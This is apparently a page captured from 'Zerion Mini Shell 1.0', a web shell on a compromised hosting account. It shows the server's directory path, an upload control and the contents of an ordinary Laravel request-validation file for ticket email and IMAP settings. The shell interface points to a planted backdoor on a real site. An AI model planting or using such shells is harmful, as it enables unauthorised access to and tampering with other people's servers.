ok

Mini Shell

Direktori : /home2/selectio/www/fms-worksuite/app/Http/Requests/TicketEmailSetting/
Upload File :
Current File : //home2/selectio/www/fms-worksuite/app/Http/Requests/TicketEmailSetting/UpdateRequest.php

<?php

namespace App\Http\Requests\TicketEmailSetting;

use Illuminate\Foundation\Http\FormRequest;

class UpdateRequest extends FormRequest
{

    /**
     * Determine if the user is authorized to make this request.
     *
     * @return bool
     */
    public function authorize()
    {
        return true;
    }

    /**
     * Get the validation rules that apply to the request.
     *
     * @return array
     */
    public function rules()
    {
        if (request('status')) {
            return [
                'mail_from_name' => 'required',
                'mail_from_email' => 'required',
                'mail_username' => 'required',
                'mail_password' => 'required',
                'imap_host' => 'required',
                'imap_port' => 'required',
                'imap_encryption' => 'required'
            ];
        }
        
        return [];
    }

}

Zerion Mini Shell 1.0